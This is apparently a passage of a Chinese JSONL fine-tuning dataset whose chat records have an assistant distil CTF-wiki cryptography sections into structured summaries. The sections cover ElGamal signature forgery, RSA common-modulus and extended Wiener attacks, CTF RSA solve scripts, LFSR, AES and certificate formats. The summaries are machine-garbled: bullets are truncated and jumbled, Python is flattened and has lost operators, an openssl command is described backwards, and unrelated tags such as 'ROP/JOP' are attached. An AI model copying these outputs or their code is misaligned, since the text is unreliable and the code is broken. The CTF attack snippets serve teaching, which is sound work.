已知Alice对消息$x$的签名$(\\gamma,\\delta)$满足$\\beta^{\\gamma} \\gamma^{\\delta} \\equiv \\alpha^{x}(\\bmod p)$，所以我们目的为构造出$\\left(x^{\\prime}, \\lambda, \\mu\\right)$满足\n- $$ \\beta^{\\lambda} \\lambda^{\\mu} \\equiv \\alpha^{x'}(\\bmod p) $$\n- 那么，首先我们把$\\lambda$表示为三个已知底$\\alpha, \\beta, \\gamma$的形式: $\\lambda=\\alpha^{i} \\beta^{j} \\gamma^{h} \\bmod p$,由条件可得\n- $$ \\beta^{\\gamma} \\gamma^{\\delta} \\equiv \\alpha^{x}(\\bmod p) \\Leftrightarrow \\gamma=\\left(\\beta^{-\\gamma} \\alpha^{x}\\right)^{\\delta-1} \\bmod p $$\n\n关键术语：\n- 密码学\n- crypto\n- signature\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2068, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["ElGamal", "常见攻击", "已知签名伪造", "原理"], "original_id": "docs-9a5d0dcd3ec6cd201541", "original_line": 22, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "ea6397bd7327f4a778e80069", "subcategory": "crypto/signature/elgamal.md", "terms": ["密码学", "crypto", "signature", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-94ddbeced7c3aef36fb6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 曲路密码 > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 曲路密码（Curve Cipher）是一种换位密码，需要事先双方约定密钥（也就是曲路路径）。\n- 下面给出一个例子 `` 明文：The quick brown fox jumps over the lazy dog ` 填入 5 行 7 列表（事先约定填充的行列数） [图片: qulu-table;\n- 文件: ./figure/qulu-road.png] ` 密文：gesfc inpho dtmwu qoury zejre hbxva lookT ``\n- 文件: ./figure/qulu-table.png] 加密的回路线（事先约定填充的行列数） [图片: qulu-road;\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `明文：The quick brown fox jumps over the lazy dog`\n- plain: 1 行，首行 `密文：gesfc inpho dtmwu qoury zejre hbxva lookT`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 301, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["其它类型加密", "曲路密码", "原理"], "original_id": "docs-1fe4a03da1b23d1ef85e", "original_line": 369, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-979a8bd2523a1cd166a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「s & t」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：s & t\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“s & t”展开。\n- 这个应该是 ASCII 字符转换，进而我们使用如下代码得到 flag `python i = 0 flag = \"\" plain = str(plain) while i < len(plain): if plain[i] == '1': flag += chr(int(plain[i:i + 3])) i += 3 else: flag += chr(int(plain[i:i + 2])) i += 2 print flag ` 这里之所以使用 1 来判断是否为三位长度，是因为 flag 一般都是明文字符...\n- flag `shell ➜ Xman-1-class-exercise git:(master) ✗ python exp.py [FLAG_REDACTED] ``\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `得到`\n- plain: 1 行，首行 `这时候需要考虑当时明文是如何转化为这个数字了，一般来说是 16 进制转换，ASCII 字符转换，或者 Base64 解密。这个应该是 ASCII 字符转换，进而我们使用如下代码得到 flag`\n- plain: 2 行，首行 `这里之所以使用 1 来判断是否为三位长度，是因为 flag 一般都是明文字符，而 1 开头的长度为 1 或者 2 的数字，一般都是不可见字符。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 843, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "s & t", "heading_path": ["s & t"], "original_id": "docs-85391d9c7caae98f54d3", "original_line": 273, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "92e28cc7c9c755bd41774209", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-97a2d7ce1736689cc90c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「EXP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > EXP\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 考虑到不是每个人都需要深入研究扩展维纳攻击，这里还是给出$n=2$时候的EXP以供使用 ``python e1 = ... e2 = ...\n- N = ... a = 5/14 D = diagonal_matrix(ZZ, [N, int(N^(1/2)), int(N^(1+a)), 1]) M = matrix(ZZ, [[1, -N, 0, N^2], [0, e1, -e1, -e1N], [0, 0, e2, -e2N], [0, 0, 0, e1e2]])D L = M.LLL() t = vector(ZZ, L[0]) x = t M^(-1) phi = int(x[1]/x[0]*e1) ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n- code:python\n\n代码/命令片段线索：\n- python: 10 行，首行 `e1 = ...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 333, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "EXP", "heading_path": ["扩展维纳攻击", "EXP"], "original_id": "docs-0a5bc45d5fb86f298942", "original_line": 301, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "52b498bbe74fbb1f4b82d059", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks", "code:python"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-97b5c2393ef01ae756a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/intro.md` 中的章节「反馈移位寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/intro.md`\n标题：反馈移位寄存器\n章节：反馈移位寄存器\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“反馈移位寄存器”展开。\n- 因此，我们可以将其视为同一个空间中的变换，即 $(a_i,a_{i+1},...,a_{i+n-1}) \\rightarrow (a_{i+1},...,a_{i+n-1},a_{i+n})$ . 对于一个序列来说，我们一般定义其生成函数为其序列对应的幂级数的和。\n- 一般的，一个 n 级反馈移位寄存器如下图所示 [图片: image-20180712201048987;\n- 文件: ./figure/n-fsr.png] 其中 - $a_0$，$a_1$，…，$a_{n-1}$，为初态。\n- 如果 F 为线性函数，那么我们称其为线性反馈移位寄存器（LFSR），否则我们称其为非线性反馈移位寄存器（NFSR）。\n- $a_{i+n}=F(a_i,a_{i+1},...,a_{i+n-1})$ 。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 405, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "反馈移位寄存器", "heading_path": ["反馈移位寄存器"], "original_id": "docs-788384838a1d1e592628", "original_line": 423, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/intro.md", "source_root": "docs", "source_sha256": "5272fbb73e944000634f547ceef96ebb6df7d9ec60697553367aa4e33a0230f3", "split": "train", "split_group_key": "ef44aaea3a431674d0de29ef", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "intro.md"], "title": "反馈移位寄存器"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9a4e134182a3334d77f8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「SCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：f.write(pubkey.exportKey()) > SCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“SCTF RSA1”展开。\n- 只是这次是直接解密就好，没啥填充，试了填充反而错 得到密码 fA35ORI11TLoN_Att1Ck_cL0sE_PrI8e_4acTorS。\n- th open('./level1.passwd.enc') as f: cipher = f.read() cipher = b64decode(cipher) with open('./private.pem') as f: key = RSA.importKey(f) key = PKCS1_OAEP.new(key) print key.decrypt(cipher) `` 果然如此，得到 `shell ➜ level0 git:(master) ✗ python exp.py FaC5ori1ati...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `果然如此，得到`\n- plain: 1 行，首行 `得到解压密码。继续，查看 level1 中的公钥`\n- plain: 1 行，首行 `似乎还是不是很大，再次分解，然后试了 factordb 不行，试试 yafu。结果分解出来了。`\n- plain: 3 行，首行 `可以发现这两个数非常相近，可能是 factordb 没有实现这类分解。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4835, "chunk_count": 3, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "SCTF RSA1", "heading_path": ["f.write(pubkey.exportKey())", "SCTF RSA1"], "original_id": "docs-c047b774c9365164b415", "original_line": 242, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "74713e25f15b8c8c6cbe5aa5", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9a62490f012b57e46bd6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/rsa.md` 中的章节「solve g^x=h mod m」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/rsa.md`\n标题：RSA 数字签名\n章节：solve g^x=h mod m\n路径分类：crypto / crypto/signature/rsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“solve g^x=h mod m”展开。\n- 2. 源代码中虽然 n.bit_length() <= 1025，但是其实 n 在满足不小于 signature 的条件时，必须满足如下条件（pycrypto 源码） `python modBits = Crypto.Util.number.size(self._key.n) k = ceil_div(modBits,8) # Convert from bits to bytes # Step 1 if len(S) !\n- = k: return 0 `` 所以我们最好设置 n 为1024 比特位。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- crypto\n- signature\n- rsa.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `有两点需要注意`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2279, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "solve g^x=h mod m", "heading_path": ["solve g^x=h mod m"], "original_id": "docs-50cf2701c739ca980e83", "original_line": 422, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "source_root": "docs", "source_sha256": "a4f0b1340e492a1a2bbb06cb980865fca03ef5181db26e242030b66a08ca63bd", "split": "train", "split_group_key": "226b9f49f554a5b082fd956c", "subcategory": "crypto/signature/rsa.md", "terms": ["ROP/JOP", "密码学", "AI安全", "crypto", "signature", "rsa.md"], "title": "RSA 数字签名"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9b8dd847612629ac69f7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「RSA 介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“RSA 介绍”展开。\n- 到 2017 年为止，还没有任何可靠的攻击 RSA 算法的方式。\n- RSA 是 1977 年由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）一起提出的。\n- 假如有人找到一种快速因数分解的算法的话，那么用 RSA 加密的信息的可靠性就肯定会极度下降。\n- 在公开密钥加密和电子商业中 RSA 被广泛使用。\n- RSA 就是他们三人姓氏开头字母拼在一起组成的。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "RSA 介绍", "heading_path": ["RSA 介绍"], "original_id": "docs-14d8f195e3b2c4ece75f", "original_line": 277, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "57f050c6d35f41a1ab63b110", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-theory.md"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9b9e79bf08af8e665133", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/certificate/introduction.md` 中的章节「DER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/certificate/introduction.md`\n标题：证书格式\n章节：证书格式 > DER\n路径分类：crypto / crypto/certificate/introduction.md\n分块：1/1\n\n核心知识点：\n- 我们可以用 openssl 将 PEM 文件转化为 DER 文件： ``bash openssl x509 -inform DER -in certificate.der > certificate.pem `` 现在问题被简化成了如何读取 PEM 文件，所以我们可以重复使用上一小节中的 Python 代码。\n- 后缀 .cer 或 .crt 的证书通常包含 DER 格式的数据，但 Windows 也可能会接受 PEM 格式的数据。\n\n关键术语：\n- 密码学\n- crypto\n- certificate\n- introduction.md\n- code:bash\n\n代码/命令片段线索：\n- bash: 1 行，首行 `openssl x509 -inform DER -in certificate.der > certificate.pem`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "DER", "heading_path": ["证书格式", "DER"], "original_id": "docs-e1199c1a3cb356e5956a", "original_line": 358, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "source_root": "docs", "source_sha256": "d7a1d92b7b076f94576ab08ebb8f649a2deafe29b79e9a1932f2369839e329b6", "split": "train", "split_group_key": "e6ceef723c266c2fef3a9f39", "subcategory": "crypto/certificate/introduction.md", "terms": ["密码学", "crypto", "certificate", "introduction.md", "code:bash"], "title": "证书格式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9c25a6126e97346a2398", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「2016 ASIS Find the flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：RSA 复杂题目 > 2016 ASIS Find the flag\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2016 ASIS Find the flag”展开。\n- 随机取 $p$ 和 $q$，生成一个公钥，写入 pubkey.pem，再用脚本中的 ext_rsa_encrypt 函数进行加密，最后将密文写入 flag.enc。\n- ``bash ➜ RSA openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (256 bit) Modulus: 00:d8:e2:4c:12:b7:b9:9e:fe:0a:9b:c0:4a:6a:3d: f5:8a:2a:94:42:69:b4:92:b7:37:6d:f1:29:02:3f: 20:61:b9 Exponent: 12405943493775545863 (0xac2ac3e0ca0f5607) Modulus=D8E...\n- ` p = 311155972145869391293781528370734636009 q = 315274063651866931016337573625089033553 ` 再看给的 py 脚本。\n- 这里我们以 ASIS 2016 线上赛中 Find the flag 为例进行介绍。\n- 尝试一下解密，提示密文过长，再看加密函数，原来当加密失败时，函数会跳到异常处理，以一定算法重新取更大的 $p$ 和 $q$，直到加密成功。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:bash\n- code:python\n\n代码/命令片段线索：\n- bash: 8 行，首行 `➜ RSA openssl rsa -pubin -in pubkey.pem -text -modulus`\n- plain: 2 行，首行 `p = 311155972145869391293781528370734636009`\n- python: 29 行，首行 `#!/usr/bin/python`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2215, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 ASIS Find the flag", "heading_path": ["RSA 复杂题目", "2016 ASIS Find the flag"], "original_id": "docs-fde630a03a8d46e08a95", "original_line": 240, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "f08eacbadcf3c9fce4395662", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:bash", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9c2eb8e10af6aba03ca6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/aes.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/aes.md`\n标题：AES\n章节：AES > 基本介绍\n路径分类：crypto / crypto/blockcipher/aes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- Advanced Encryption Standard（AES），高级加密标准，是典型的块加密，被设计来取代 DES，由 Joan Daemen 和 Vincent Rijmen 所设计。\n- 其迭代轮数与密钥长度有关系，如下 | 密钥长度（比特） | 迭代轮数 | | :--------------: | :------: | | 128 | 10 | | 192 | 12 | | 256 | 14 |\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- aes.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本介绍", "heading_path": ["AES", "基本介绍"], "original_id": "docs-9fda469ca8056bf419fc", "original_line": 313, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "source_root": "docs", "source_sha256": "7459d1017710169c492f33b1cb287f00a9eca355abf34bc65ee2821fb68b7635", "split": "train", "split_group_key": "405a4e05711475cdb1db242d", "subcategory": "crypto/blockcipher/aes.md", "terms": ["密码学", "crypto", "blockcipher", "aes.md"], "title": "AES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9c3ea0fb7381f77722cb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > 共模攻击 > 攻击原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击原理”展开。\n- 明文消息为 $m$，密文分别为： $$ c_1 = m^{e_1}\\bmod N \\\\ c_2 = m^{e_2}\\bmod N $$ 当攻击者截获 $c_1$ 和 $c_2$ 后，就可以恢复出明文。\n- 用扩展欧几里得算法求出 $re_1+se_2=1\\bmod n$ 的两个整数 $r$ 和 $s$，由此可得： $$ \\begin{align} c_{1}^{r}c_{2}^{s} &\\equiv m^{re_1}m^{se_2}\\bmod n\\\\ &\\equiv m^{(re_1+se_2)} \\bmod n\\\\ &\\equiv m\\bmod n \\end{align} $$\n- 设两个用户的公钥分别为 $e_1$ 和 $e_2$，且两者互质。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击原理", "heading_path": ["模数相关攻击", "共模攻击", "攻击原理"], "original_id": "docs-aad0fe2faa761d65f827", "original_line": 271, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", 